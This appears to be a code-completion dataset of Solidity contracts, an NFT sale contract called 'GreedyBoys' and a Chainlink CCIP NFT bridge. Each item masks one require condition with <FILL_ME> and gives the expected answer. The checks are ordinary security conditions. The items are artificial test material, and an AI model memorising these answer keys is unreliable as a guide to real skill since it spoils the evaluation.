function bind(uint256 tokenId, bool _bind) external {
}
function _senderhasnothing(uint256 tokenId) internal view returns (bool) {
}
function _revealtrueidentity(bytes calldata signature) internal pure returns (address) {
}
function forge(bool _forged) external onlyOwner {
}
function unlock(bool _unlocked) external onlyOwner {
}
function changelock(string calldata _lock) external onlyOwner {
}
function changelocksmith(address _locksmith) external onlyOwner {
}
function changegateway(address _gateway) external onlyOwner {
}
function alchemy() external onlyOwner {
}
function alchemize(address token) external onlyOwner {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override {
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function royaltyInfo(uint256 tokenId, uint256 salePrice)
external
view
override
returns (address receiver, uint256 royaltyAmount)
{
}
}
| claimed+1<=forgotten,"only remembered keys remain" | 221,281 | claimed+1<=forgotten |
"invalid message sender" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol";
import "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
import {Client} from "@chainlink/contracts-ccip/src/v0.8/ccip/libraries/Client.sol";
import {IRouterClient} from "@chainlink/contracts-ccip/src/v0.8/ccip/interfaces/IRouterClient.sol";
import {LinkTokenInterface} from "@chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol";
import {CCIPReceiver} from "@chainlink/contracts-ccip/src/v0.8/ccip/applications/CCIPReceiver.sol";
/**
* ======================================================================
* โโ โโโโโโ โโโโโโโโ โโโโโโโโ โโ โโ โโโ โโ โโ โโ
* โโ โโ โโ โโ โโ โโ โโ โโโโ โโ โโ โโ
* โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโโโโ
* โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ โโ
* โโโโโโโ โโโโโโ โโ โโ โโ โโโโโโโ โโ โโ โโโโ โโ โโ
* ======================================================================
* ================ Open source smart contract on EVM =================
* ====================== Using Chainlink CCIP ======================
* @title Polygon Cross-Chain NFT Bridge
* @dev Safely bridge your Ethereum NFTs to Polygon using CCIP V1.
* To bridge your NFT:
* a. Approve this contract's address for your NFT.
* b. Approve Link tokens for the transfer or provide ETH or MATIC for the fee.
* c. Call requestReleaseLockedToken with the required details to initiate the transfer.
* - Your NFT will be temporarily locked within this contract.
* - In approximately 30 minutes, your NFT will be minted on the Polygon network at the specified address.
* - The CCIP transaction ID can be found in the contract logs.
* - Your Polygon NFT will have ownership of the original NFT and will be transferable.
*/
contract Polygon_NFT_Bridge is ERC721Holder, CCIPReceiver {
address immutable i_link;
uint64 currentSelector;
uint64 targetSelector;
/**
* @dev Constructor to initialize the bridge contract.
* @param _currentSelector The current chain selector.
* @param _targetSelector The target chain selector.
* @param router The address of the CCIP router contract.
* @param link The address of the Link token contract.
*/
constructor(
uint64 _currentSelector,
uint64 _targetSelector,
address router,
address link
) CCIPReceiver(router) {
}
/**
* @dev Get the fee required for a cross-chain NFT transfer.
* @param userAddr The address of the user initiating the transfer.
* @param contAddr The address of the NFT contract.
* @param tokenId The ID of the NFT being transferred.
* @param payInLink True if the fee should be paid in Link tokens; false if it should be paid in ETH.
* @return fee The fee amount required for the transfer.
*/
function getFee(
address userAddr,
address contAddr,
uint256 tokenId,
bool payInLink
) external view returns (uint256 fee) {
}
/**
* @dev Request the cross-chain transfer of an NFT.
* @param contAddr The address of the NFT contract.
* @param to The address where the NFT will be minted on the Polygon network.
* @param tokenId The ID of the NFT being transferred.
* @param dappAddr The address of the dapp initiating the transfer.
* @notice To initiate the NFT transfer, you have two options:
* 1. Pay the transfer fee in ETH by sending ETH along with this function call.
* 2. Approve the Link token for transfer to this contract using the Link token's approval function.
* Please ensure you have enough ETH or approved Link tokens to cover the transfer fee.
*/
function requestTransferCrossChain(
address contAddr,
address to,
uint256 tokenId,
address dappAddr
) public payable {
}
/**
* @dev Internal function to release an NFT to the specified recipient.
* @param contAddr The address of the NFT contract.
* @param to The address where the NFT will be minted on the Polygon network.
* @param tokenId The ID of the NFT being transferred.
*/
function _release(
address contAddr,
address to,
uint256 tokenId
) internal {
}
/**
* @dev Internal function to handle the receipt of a cross-chain message.
* @param message The cross-chain message received.
*/
function _ccipReceive(
Client.Any2EVMMessage memory message
) internal virtual override {
require(<FILL_ME>)
(
address contAddr,
address to,
uint256 tokenId
) = abi.decode(message.data, (address, address, uint256));
_release(contAddr, to, tokenId);
}
}
| abi.decode(message.sender,(address))==address(this)&&message.sourceChainSelector==targetSelector,"invalid message sender" | 221,391 | abi.decode(message.sender,(address))==address(this)&&message.sourceChainSelector==targetSelector |
"GreedyBoys: only pre-approved can mint this token" | //License-Identifier: MIT
pragma solidity ^0.8.9;
contract GB {
function init(uint, string calldata, uint, uint, uint) external {}
function mint(address, uint) external {}
function totalSupply() external view returns (uint256) {}
function ownerOf(uint256) external view returns (address) {}
function tokenOfOwnerByIndex(address, uint256) public view returns (uint256) {}
function balanceOf(address) public view returns (uint256) {}
}
contract Mint is Ownable {
modifier onlyMintOwnerOf(uint tokenId) {
require(<FILL_ME>)
_;
}
modifier onlyForReservedToken(uint tokenId) {
}
modifier notZeroAddress(address addr) {
}
modifier readyForSale() {
}
uint public constant AR_HASH_SIZE = 43;
struct UpdateData1 {
uint16 saleCount; // number of items sold
uint64 nextPrice; // next price, updated after every purchase
uint128 unclaimedGrossRevenue;
}
struct UpdateData2 {
uint128 reflectionTotalBalance; // sum of all reflection funds
uint128 totalDividend; // used for reflection reward calculation
}
UpdateData1 public data1;
UpdateData2 public data2;
// Tokenomics
uint public maxTokens; // max tokens
uint public immutable reservedTokens; // reserved token count, set at construction
// Counts
uint public pendingCount; // remaining number of items
uint public giveawayCount; // number of items given away
// Minting params
uint public totalSaleLimit; // total max sales
uint public startTime; // sale start time
uint public buyLimit; // limit on number of tokens that can be bought at once
uint64 public floorPrice; // floor price
uint64 private priceStep; // price reduction step
uint16 private cutoffQuantity; // the point at which the price becomes floored
// Minting and giveaways
mapping (uint => uint) private pendingIds; // this supports random mints
mapping (uint => address) private giveaways; // token id => wallet that was gifted
mapping (uint => address) private minters; // token id => wallet that minted
mapping (uint => address) private mintOwner; // token id => wallet that can mint directly
// Whitelisting
mapping (address => bool) public whitelist; // address => allowed to mint
bool public whitelistEnabled; // is whitelist enaabled
// Reflection
uint public reflectionShareBps; // pct of funds to reflect
mapping (uint => uint) private lastDividendAt; // token id =>
// Sales
mapping (uint => address) public salesAccounts; // idx => the account that will receive the funds
mapping (address => uint) public salesAccountsBps; // idx => % allocation
uint public salesAccountsCount;
GB public nftContract;
event Giveaway(uint tokenId, address to);
event Purchased(uint tokenId, address by, uint amount, uint reflectedAmount);
event EarningsClaimed(address by, uint amount);
event RewardsClaimed(address by, uint amount);
constructor(uint _reservedTokens)
{
}
//
// public
//
function tokenReflectionBalance(uint tokenId)
public view
returns (uint) {
}
function price(uint numOfNft)
public view
returns (uint)
{
}
//
// external
//
function init(
uint[] calldata tokenIds,
uint[] calldata tokenParams,
string calldata allHashes,
uint allHashesLength,
uint numberOfNfts
)
external
{
}
function mint(uint tokenId, address to)
external
onlyMintOwnerOf(tokenId)
onlyForReservedToken(tokenId)
notZeroAddress(to)
{
}
function claimRewards()
external
{
}
function claimEarnings()
external
{
}
function getReflectionBalance()
external view
returns (uint256)
{
}
// external payable
function buy(uint16 numberOfNfts)
external payable
readyForSale()
{
}
// external only owner
function randomGiveaway(address to)
external
onlyOwner()
notZeroAddress(to)
{
}
function setSalesAccounts(address[] calldata accounts, uint[] calldata shares)
external
onlyOwner()
{
}
function setContract(address contractAddr, uint maxTokens_)
external
onlyOwner()
{
}
function setReflectionShareBps(uint bps)
external
onlyOwner()
{
}
function setMintOwner(uint tokenId, address ownerAddr)
external
onlyOwner()
onlyForReservedToken(tokenId)
notZeroAddress(ownerAddr)
{
}
function setMintPrice(uint64 first, uint64 floor, uint16 cutoff)
external
onlyOwner()
{
}
function setBuyLimit(uint limit)
external
onlyOwner()
{
}
function setStartTime(uint time)
external
onlyOwner()
{
}
function setTotalSaleLimit(uint limit)
external
onlyOwner()
{
}
function toggleWhitelistEntry(address buyerAddr)
external
onlyOwner()
{
}
function toggleWhitelist()
external
onlyOwner()
{
}
// external view
function minterOf(uint tokenId)
external view
returns (address)
{
}
function reflectionTotalBalance()
external view
returns (uint128)
{
}
//
// private
//
function _reflectDividend(uint amount, uint totalSupply)
private
{
}
function _randomMint(address to)
private
returns (uint tokenId)
{
}
function _popPendingAt(uint index)
private
returns (uint tokenId)
{
}
// private views
function _getPendingAt(uint index)
private view
returns (uint)
{
}
function _random()
private view
returns (uint256)
{
}
// private pure
function _sum(uint[] memory a)
private pure
returns (uint sum)
{
}
function _substring(string memory _base, uint _length, uint _offset)
private pure
returns (string memory)
{
}
}
| mintOwner[tokenId]==msg.sender,"GreedyBoys: only pre-approved can mint this token" | 221,476 | mintOwner[tokenId]==msg.sender |
"GreedyBoys: mismatched hashes" | //License-Identifier: MIT
pragma solidity ^0.8.9;
contract GB {
function init(uint, string calldata, uint, uint, uint) external {}
function mint(address, uint) external {}
function totalSupply() external view returns (uint256) {}
function ownerOf(uint256) external view returns (address) {}
function tokenOfOwnerByIndex(address, uint256) public view returns (uint256) {}
function balanceOf(address) public view returns (uint256) {}
}
contract Mint is Ownable {
modifier onlyMintOwnerOf(uint tokenId) {
}
modifier onlyForReservedToken(uint tokenId) {
}
modifier notZeroAddress(address addr) {
}
modifier readyForSale() {
}
uint public constant AR_HASH_SIZE = 43;
struct UpdateData1 {
uint16 saleCount; // number of items sold
uint64 nextPrice; // next price, updated after every purchase
uint128 unclaimedGrossRevenue;
}
struct UpdateData2 {
uint128 reflectionTotalBalance; // sum of all reflection funds
uint128 totalDividend; // used for reflection reward calculation
}
UpdateData1 public data1;
UpdateData2 public data2;
// Tokenomics
uint public maxTokens; // max tokens
uint public immutable reservedTokens; // reserved token count, set at construction
// Counts
uint public pendingCount; // remaining number of items
uint public giveawayCount; // number of items given away
// Minting params
uint public totalSaleLimit; // total max sales
uint public startTime; // sale start time
uint public buyLimit; // limit on number of tokens that can be bought at once
uint64 public floorPrice; // floor price
uint64 private priceStep; // price reduction step
uint16 private cutoffQuantity; // the point at which the price becomes floored
// Minting and giveaways
mapping (uint => uint) private pendingIds; // this supports random mints
mapping (uint => address) private giveaways; // token id => wallet that was gifted
mapping (uint => address) private minters; // token id => wallet that minted
mapping (uint => address) private mintOwner; // token id => wallet that can mint directly
// Whitelisting
mapping (address => bool) public whitelist; // address => allowed to mint
bool public whitelistEnabled; // is whitelist enaabled
// Reflection
uint public reflectionShareBps; // pct of funds to reflect
mapping (uint => uint) private lastDividendAt; // token id =>
// Sales
mapping (uint => address) public salesAccounts; // idx => the account that will receive the funds
mapping (address => uint) public salesAccountsBps; // idx => % allocation
uint public salesAccountsCount;
GB public nftContract;
event Giveaway(uint tokenId, address to);
event Purchased(uint tokenId, address by, uint amount, uint reflectedAmount);
event EarningsClaimed(address by, uint amount);
event RewardsClaimed(address by, uint amount);
constructor(uint _reservedTokens)
{
}
//
// public
//
function tokenReflectionBalance(uint tokenId)
public view
returns (uint) {
}
function price(uint numOfNft)
public view
returns (uint)
{
}
//
// external
//
function init(
uint[] calldata tokenIds,
uint[] calldata tokenParams,
string calldata allHashes,
uint allHashesLength,
uint numberOfNfts
)
external
{
require(<FILL_ME>)
require(tokenIds.length == numberOfNfts && tokenParams.length == 3 * numberOfNfts, "GreedyBoys: mismatched arrays");
uint offset = 0;
for (uint i; i < numberOfNfts; i++) {
require(nftContract.ownerOf(tokenIds[i]) == msg.sender, "GreedyBoys: only NFT owner can call this");
nftContract.init(
tokenIds[i],
_substring(allHashes, AR_HASH_SIZE, offset),
tokenParams[i],
tokenParams[i + 1],
tokenParams[i + 2]);
offset += AR_HASH_SIZE;
}
}
function mint(uint tokenId, address to)
external
onlyMintOwnerOf(tokenId)
onlyForReservedToken(tokenId)
notZeroAddress(to)
{
}
function claimRewards()
external
{
}
function claimEarnings()
external
{
}
function getReflectionBalance()
external view
returns (uint256)
{
}
// external payable
function buy(uint16 numberOfNfts)
external payable
readyForSale()
{
}
// external only owner
function randomGiveaway(address to)
external
onlyOwner()
notZeroAddress(to)
{
}
function setSalesAccounts(address[] calldata accounts, uint[] calldata shares)
external
onlyOwner()
{
}
function setContract(address contractAddr, uint maxTokens_)
external
onlyOwner()
{
}
function setReflectionShareBps(uint bps)
external
onlyOwner()
{
}
function setMintOwner(uint tokenId, address ownerAddr)
external
onlyOwner()
onlyForReservedToken(tokenId)
notZeroAddress(ownerAddr)
{
}
function setMintPrice(uint64 first, uint64 floor, uint16 cutoff)
external
onlyOwner()
{
}
function setBuyLimit(uint limit)
external
onlyOwner()
{
}
function setStartTime(uint time)
external
onlyOwner()
{
}
function setTotalSaleLimit(uint limit)
external
onlyOwner()
{
}
function toggleWhitelistEntry(address buyerAddr)
external
onlyOwner()
{
}
function toggleWhitelist()
external
onlyOwner()
{
}
// external view
function minterOf(uint tokenId)
external view
returns (address)
{
}
function reflectionTotalBalance()
external view
returns (uint128)
{
}
//
// private
//
function _reflectDividend(uint amount, uint totalSupply)
private
{
}
function _randomMint(address to)
private
returns (uint tokenId)
{
}
function _popPendingAt(uint index)
private
returns (uint tokenId)
{
}
// private views
function _getPendingAt(uint index)
private view
returns (uint)
{
}
function _random()
private view
returns (uint256)
{
}
// private pure
function _sum(uint[] memory a)
private pure
returns (uint sum)
{
}
function _substring(string memory _base, uint _length, uint _offset)
private pure
returns (string memory)
{
}
}
| AR_HASH_SIZE*numberOfNfts==allHashesLength,"GreedyBoys: mismatched hashes" | 221,476 | AR_HASH_SIZE*numberOfNfts==allHashesLength |
"GreedyBoys: only NFT owner can call this" | //License-Identifier: MIT
pragma solidity ^0.8.9;
contract GB {
function init(uint, string calldata, uint, uint, uint) external {}
function mint(address, uint) external {}
function totalSupply() external view returns (uint256) {}
function ownerOf(uint256) external view returns (address) {}
function tokenOfOwnerByIndex(address, uint256) public view returns (uint256) {}
function balanceOf(address) public view returns (uint256) {}
}
contract Mint is Ownable {
modifier onlyMintOwnerOf(uint tokenId) {
}
modifier onlyForReservedToken(uint tokenId) {
}
modifier notZeroAddress(address addr) {
}
modifier readyForSale() {
}
uint public constant AR_HASH_SIZE = 43;
struct UpdateData1 {
uint16 saleCount; // number of items sold
uint64 nextPrice; // next price, updated after every purchase
uint128 unclaimedGrossRevenue;
}
struct UpdateData2 {
uint128 reflectionTotalBalance; // sum of all reflection funds
uint128 totalDividend; // used for reflection reward calculation
}
UpdateData1 public data1;
UpdateData2 public data2;
// Tokenomics
uint public maxTokens; // max tokens
uint public immutable reservedTokens; // reserved token count, set at construction
// Counts
uint public pendingCount; // remaining number of items
uint public giveawayCount; // number of items given away
// Minting params
uint public totalSaleLimit; // total max sales
uint public startTime; // sale start time
uint public buyLimit; // limit on number of tokens that can be bought at once
uint64 public floorPrice; // floor price
uint64 private priceStep; // price reduction step
uint16 private cutoffQuantity; // the point at which the price becomes floored
// Minting and giveaways
mapping (uint => uint) private pendingIds; // this supports random mints
mapping (uint => address) private giveaways; // token id => wallet that was gifted
mapping (uint => address) private minters; // token id => wallet that minted
mapping (uint => address) private mintOwner; // token id => wallet that can mint directly
// Whitelisting
mapping (address => bool) public whitelist; // address => allowed to mint
bool public whitelistEnabled; // is whitelist enaabled
// Reflection
uint public reflectionShareBps; // pct of funds to reflect
mapping (uint => uint) private lastDividendAt; // token id =>
// Sales
mapping (uint => address) public salesAccounts; // idx => the account that will receive the funds
mapping (address => uint) public salesAccountsBps; // idx => % allocation
uint public salesAccountsCount;
GB public nftContract;
event Giveaway(uint tokenId, address to);
event Purchased(uint tokenId, address by, uint amount, uint reflectedAmount);
event EarningsClaimed(address by, uint amount);
event RewardsClaimed(address by, uint amount);
constructor(uint _reservedTokens)
{
}
//
// public
//
function tokenReflectionBalance(uint tokenId)
public view
returns (uint) {
}
function price(uint numOfNft)
public view
returns (uint)
{
}
//
// external
//
function init(
uint[] calldata tokenIds,
uint[] calldata tokenParams,
string calldata allHashes,
uint allHashesLength,
uint numberOfNfts
)
external
{
require(AR_HASH_SIZE * numberOfNfts == allHashesLength, "GreedyBoys: mismatched hashes");
require(tokenIds.length == numberOfNfts && tokenParams.length == 3 * numberOfNfts, "GreedyBoys: mismatched arrays");
uint offset = 0;
for (uint i; i < numberOfNfts; i++) {
require(<FILL_ME>)
nftContract.init(
tokenIds[i],
_substring(allHashes, AR_HASH_SIZE, offset),
tokenParams[i],
tokenParams[i + 1],
tokenParams[i + 2]);
offset += AR_HASH_SIZE;
}
}
function mint(uint tokenId, address to)
external
onlyMintOwnerOf(tokenId)
onlyForReservedToken(tokenId)
notZeroAddress(to)
{
}
function claimRewards()
external
{
}
function claimEarnings()
external
{
}
function getReflectionBalance()
external view
returns (uint256)
{
}
// external payable
function buy(uint16 numberOfNfts)
external payable
readyForSale()
{
}
// external only owner
function randomGiveaway(address to)
external
onlyOwner()
notZeroAddress(to)
{
}
function setSalesAccounts(address[] calldata accounts, uint[] calldata shares)
external
onlyOwner()
{
}
function setContract(address contractAddr, uint maxTokens_)
external
onlyOwner()
{
}
function setReflectionShareBps(uint bps)
external
onlyOwner()
{
}
function setMintOwner(uint tokenId, address ownerAddr)
external
onlyOwner()
onlyForReservedToken(tokenId)
notZeroAddress(ownerAddr)
{
}
function setMintPrice(uint64 first, uint64 floor, uint16 cutoff)
external
onlyOwner()
{
}
function setBuyLimit(uint limit)
external
onlyOwner()
{
}
function setStartTime(uint time)
external
onlyOwner()
{
}
function setTotalSaleLimit(uint limit)
external
onlyOwner()
{
}
function toggleWhitelistEntry(address buyerAddr)
external
onlyOwner()
{
}
function toggleWhitelist()
external
onlyOwner()
{
}
// external view
function minterOf(uint tokenId)
external view
returns (address)
{
}
function reflectionTotalBalance()
external view
returns (uint128)
{
}
//
// private
//
function _reflectDividend(uint amount, uint totalSupply)
private
{
}
function _randomMint(address to)
private
returns (uint tokenId)
{
}
function _popPendingAt(uint index)
private
returns (uint tokenId)
{
}
// private views
function _getPendingAt(uint index)
private view
returns (uint)
{
}
function _random()
private view
returns (uint256)
{
}
// private pure
function _sum(uint[] memory a)
private pure
returns (uint sum)
{
}
function _substring(string memory _base, uint _length, uint _offset)
private pure
returns (string memory)
{
}
}
| nftContract.ownerOf(tokenIds[i])==msg.sender,"GreedyBoys: only NFT owner can call this" | 221,476 | nftContract.ownerOf(tokenIds[i])==msg.sender |
"GreedyBoys: try less items (or presale is sold out)" | //License-Identifier: MIT
pragma solidity ^0.8.9;
contract GB {
function init(uint, string calldata, uint, uint, uint) external {}
function mint(address, uint) external {}
function totalSupply() external view returns (uint256) {}
function ownerOf(uint256) external view returns (address) {}
function tokenOfOwnerByIndex(address, uint256) public view returns (uint256) {}
function balanceOf(address) public view returns (uint256) {}
}
contract Mint is Ownable {
modifier onlyMintOwnerOf(uint tokenId) {
}
modifier onlyForReservedToken(uint tokenId) {
}
modifier notZeroAddress(address addr) {
}
modifier readyForSale() {
}
uint public constant AR_HASH_SIZE = 43;
struct UpdateData1 {
uint16 saleCount; // number of items sold
uint64 nextPrice; // next price, updated after every purchase
uint128 unclaimedGrossRevenue;
}
struct UpdateData2 {
uint128 reflectionTotalBalance; // sum of all reflection funds
uint128 totalDividend; // used for reflection reward calculation
}
UpdateData1 public data1;
UpdateData2 public data2;
// Tokenomics
uint public maxTokens; // max tokens
uint public immutable reservedTokens; // reserved token count, set at construction
// Counts
uint public pendingCount; // remaining number of items
uint public giveawayCount; // number of items given away
// Minting params
uint public totalSaleLimit; // total max sales
uint public startTime; // sale start time
uint public buyLimit; // limit on number of tokens that can be bought at once
uint64 public floorPrice; // floor price
uint64 private priceStep; // price reduction step
uint16 private cutoffQuantity; // the point at which the price becomes floored
// Minting and giveaways
mapping (uint => uint) private pendingIds; // this supports random mints
mapping (uint => address) private giveaways; // token id => wallet that was gifted
mapping (uint => address) private minters; // token id => wallet that minted
mapping (uint => address) private mintOwner; // token id => wallet that can mint directly
// Whitelisting
mapping (address => bool) public whitelist; // address => allowed to mint
bool public whitelistEnabled; // is whitelist enaabled
// Reflection
uint public reflectionShareBps; // pct of funds to reflect
mapping (uint => uint) private lastDividendAt; // token id =>
// Sales
mapping (uint => address) public salesAccounts; // idx => the account that will receive the funds
mapping (address => uint) public salesAccountsBps; // idx => % allocation
uint public salesAccountsCount;
GB public nftContract;
event Giveaway(uint tokenId, address to);
event Purchased(uint tokenId, address by, uint amount, uint reflectedAmount);
event EarningsClaimed(address by, uint amount);
event RewardsClaimed(address by, uint amount);
constructor(uint _reservedTokens)
{
}
//
// public
//
function tokenReflectionBalance(uint tokenId)
public view
returns (uint) {
}
function price(uint numOfNft)
public view
returns (uint)
{
}
//
// external
//
function init(
uint[] calldata tokenIds,
uint[] calldata tokenParams,
string calldata allHashes,
uint allHashesLength,
uint numberOfNfts
)
external
{
}
function mint(uint tokenId, address to)
external
onlyMintOwnerOf(tokenId)
onlyForReservedToken(tokenId)
notZeroAddress(to)
{
}
function claimRewards()
external
{
}
function claimEarnings()
external
{
}
function getReflectionBalance()
external view
returns (uint256)
{
}
// external payable
function buy(uint16 numberOfNfts)
external payable
readyForSale()
{
if (whitelistEnabled) {
require(whitelist[msg.sender], "GreedyBoys: you must be on the whitelist to buy at this time");
}
require(numberOfNfts > 0 && numberOfNfts <= buyLimit, "GreedyBoys: numberOfNfts must be positive and lte limit");
require(pendingCount > 0, "GreedyBoys: all minted");
require(<FILL_ME>)
require(price(numberOfNfts) == msg.value, "GreedyBoys: invalid ether value");
uint currTotalSupply = nftContract.totalSupply();
uint amount = msg.value / numberOfNfts;
for (uint i; i < numberOfNfts; i++) {
_randomMint(msg.sender);
_reflectDividend(amount, ++currTotalSupply);
}
data1.saleCount += numberOfNfts;
data1.unclaimedGrossRevenue += uint128(msg.value);
data1.nextPrice = currTotalSupply > cutoffQuantity ? floorPrice : (data1.nextPrice - numberOfNfts * priceStep);
}
// external only owner
function randomGiveaway(address to)
external
onlyOwner()
notZeroAddress(to)
{
}
function setSalesAccounts(address[] calldata accounts, uint[] calldata shares)
external
onlyOwner()
{
}
function setContract(address contractAddr, uint maxTokens_)
external
onlyOwner()
{
}
function setReflectionShareBps(uint bps)
external
onlyOwner()
{
}
function setMintOwner(uint tokenId, address ownerAddr)
external
onlyOwner()
onlyForReservedToken(tokenId)
notZeroAddress(ownerAddr)
{
}
function setMintPrice(uint64 first, uint64 floor, uint16 cutoff)
external
onlyOwner()
{
}
function setBuyLimit(uint limit)
external
onlyOwner()
{
}
function setStartTime(uint time)
external
onlyOwner()
{
}
function setTotalSaleLimit(uint limit)
external
onlyOwner()
{
}
function toggleWhitelistEntry(address buyerAddr)
external
onlyOwner()
{
}
function toggleWhitelist()
external
onlyOwner()
{
}
// external view
function minterOf(uint tokenId)
external view
returns (address)
{
}
function reflectionTotalBalance()
external view
returns (uint128)
{
}
//
// private
//
function _reflectDividend(uint amount, uint totalSupply)
private
{
}
function _randomMint(address to)
private
returns (uint tokenId)
{
}
function _popPendingAt(uint index)
private
returns (uint tokenId)
{
}
// private views
function _getPendingAt(uint index)
private view
returns (uint)
{
}
function _random()
private view
returns (uint256)
{
}
// private pure
function _sum(uint[] memory a)
private pure
returns (uint sum)
{
}
function _substring(string memory _base, uint _length, uint _offset)
private pure
returns (string memory)
{
}
}
| data1.saleCount+numberOfNfts<=totalSaleLimit,"GreedyBoys: try less items (or presale is sold out)" | 221,476 | data1.saleCount+numberOfNfts<=totalSaleLimit |
"GreedyBoys: invalid ether value" | //License-Identifier: MIT
pragma solidity ^0.8.9;
contract GB {
function init(uint, string calldata, uint, uint, uint) external {}
function mint(address, uint) external {}
function totalSupply() external view returns (uint256) {}
function ownerOf(uint256) external view returns (address) {}
function tokenOfOwnerByIndex(address, uint256) public view returns (uint256) {}
function balanceOf(address) public view returns (uint256) {}
}
contract Mint is Ownable {
modifier onlyMintOwnerOf(uint tokenId) {
}
modifier onlyForReservedToken(uint tokenId) {
}
modifier notZeroAddress(address addr) {
}
modifier readyForSale() {
}
uint public constant AR_HASH_SIZE = 43;
struct UpdateData1 {
uint16 saleCount; // number of items sold
uint64 nextPrice; // next price, updated after every purchase
uint128 unclaimedGrossRevenue;
}
struct UpdateData2 {
uint128 reflectionTotalBalance; // sum of all reflection funds
uint128 totalDividend; // used for reflection reward calculation
}
UpdateData1 public data1;
UpdateData2 public data2;
// Tokenomics
uint public maxTokens; // max tokens
uint public immutable reservedTokens; // reserved token count, set at construction
// Counts
uint public pendingCount; // remaining number of items
uint public giveawayCount; // number of items given away
// Minting params
uint public totalSaleLimit; // total max sales
uint public startTime; // sale start time
uint public buyLimit; // limit on number of tokens that can be bought at once
uint64 public floorPrice; // floor price
uint64 private priceStep; // price reduction step
uint16 private cutoffQuantity; // the point at which the price becomes floored
// Minting and giveaways
mapping (uint => uint) private pendingIds; // this supports random mints
mapping (uint => address) private giveaways; // token id => wallet that was gifted
mapping (uint => address) private minters; // token id => wallet that minted
mapping (uint => address) private mintOwner; // token id => wallet that can mint directly
// Whitelisting
mapping (address => bool) public whitelist; // address => allowed to mint
bool public whitelistEnabled; // is whitelist enaabled
// Reflection
uint public reflectionShareBps; // pct of funds to reflect
mapping (uint => uint) private lastDividendAt; // token id =>
// Sales
mapping (uint => address) public salesAccounts; // idx => the account that will receive the funds
mapping (address => uint) public salesAccountsBps; // idx => % allocation
uint public salesAccountsCount;
GB public nftContract;
event Giveaway(uint tokenId, address to);
event Purchased(uint tokenId, address by, uint amount, uint reflectedAmount);
event EarningsClaimed(address by, uint amount);
event RewardsClaimed(address by, uint amount);
constructor(uint _reservedTokens)
{
}
//
// public
//
function tokenReflectionBalance(uint tokenId)
public view
returns (uint) {
}
function price(uint numOfNft)
public view
returns (uint)
{
}
//
// external
//
function init(
uint[] calldata tokenIds,
uint[] calldata tokenParams,
string calldata allHashes,
uint allHashesLength,
uint numberOfNfts
)
external
{
}
function mint(uint tokenId, address to)
external
onlyMintOwnerOf(tokenId)
onlyForReservedToken(tokenId)
notZeroAddress(to)
{
}
function claimRewards()
external
{
}
function claimEarnings()
external
{
}
function getReflectionBalance()
external view
returns (uint256)
{
}
// external payable
function buy(uint16 numberOfNfts)
external payable
readyForSale()
{
if (whitelistEnabled) {
require(whitelist[msg.sender], "GreedyBoys: you must be on the whitelist to buy at this time");
}
require(numberOfNfts > 0 && numberOfNfts <= buyLimit, "GreedyBoys: numberOfNfts must be positive and lte limit");
require(pendingCount > 0, "GreedyBoys: all minted");
require(data1.saleCount + numberOfNfts <= totalSaleLimit, "GreedyBoys: try less items (or presale is sold out)");
require(<FILL_ME>)
uint currTotalSupply = nftContract.totalSupply();
uint amount = msg.value / numberOfNfts;
for (uint i; i < numberOfNfts; i++) {
_randomMint(msg.sender);
_reflectDividend(amount, ++currTotalSupply);
}
data1.saleCount += numberOfNfts;
data1.unclaimedGrossRevenue += uint128(msg.value);
data1.nextPrice = currTotalSupply > cutoffQuantity ? floorPrice : (data1.nextPrice - numberOfNfts * priceStep);
}
// external only owner
function randomGiveaway(address to)
external
onlyOwner()
notZeroAddress(to)
{
}
function setSalesAccounts(address[] calldata accounts, uint[] calldata shares)
external
onlyOwner()
{
}
function setContract(address contractAddr, uint maxTokens_)
external
onlyOwner()
{
}
function setReflectionShareBps(uint bps)
external
onlyOwner()
{
}
function setMintOwner(uint tokenId, address ownerAddr)
external
onlyOwner()
onlyForReservedToken(tokenId)
notZeroAddress(ownerAddr)
{
}
function setMintPrice(uint64 first, uint64 floor, uint16 cutoff)
external
onlyOwner()
{
}
function setBuyLimit(uint limit)
external
onlyOwner()
{
}
function setStartTime(uint time)
external
onlyOwner()
{
}
function setTotalSaleLimit(uint limit)
external
onlyOwner()
{
}
function toggleWhitelistEntry(address buyerAddr)
external
onlyOwner()
{
}
function toggleWhitelist()
external
onlyOwner()
{
}
// external view
function minterOf(uint tokenId)
external view
returns (address)
{
}
function reflectionTotalBalance()
external view
returns (uint128)
{
}
//
// private
//
function _reflectDividend(uint amount, uint totalSupply)
private
{
}
function _randomMint(address to)
private
returns (uint tokenId)
{
}
function _popPendingAt(uint index)
private
returns (uint tokenId)
{
}
// private views
function _getPendingAt(uint index)
private view
returns (uint)
{
}
function _random()
private view
returns (uint256)
{
}
// private pure
function _sum(uint[] memory a)
private pure
returns (uint sum)
{
}
function _substring(string memory _base, uint _length, uint _offset)
private pure
returns (string memory)
{
}
}
| price(numberOfNfts)==msg.value,"GreedyBoys: invalid ether value" | 221,476 | price(numberOfNfts)==msg.value |
"GreedyBoys: admin shares must add up to 100" | //License-Identifier: MIT
pragma solidity ^0.8.9;
contract GB {
function init(uint, string calldata, uint, uint, uint) external {}
function mint(address, uint) external {}
function totalSupply() external view returns (uint256) {}
function ownerOf(uint256) external view returns (address) {}
function tokenOfOwnerByIndex(address, uint256) public view returns (uint256) {}
function balanceOf(address) public view returns (uint256) {}
}
contract Mint is Ownable {
modifier onlyMintOwnerOf(uint tokenId) {
}
modifier onlyForReservedToken(uint tokenId) {
}
modifier notZeroAddress(address addr) {
}
modifier readyForSale() {
}
uint public constant AR_HASH_SIZE = 43;
struct UpdateData1 {
uint16 saleCount; // number of items sold
uint64 nextPrice; // next price, updated after every purchase
uint128 unclaimedGrossRevenue;
}
struct UpdateData2 {
uint128 reflectionTotalBalance; // sum of all reflection funds
uint128 totalDividend; // used for reflection reward calculation
}
UpdateData1 public data1;
UpdateData2 public data2;
// Tokenomics
uint public maxTokens; // max tokens
uint public immutable reservedTokens; // reserved token count, set at construction
// Counts
uint public pendingCount; // remaining number of items
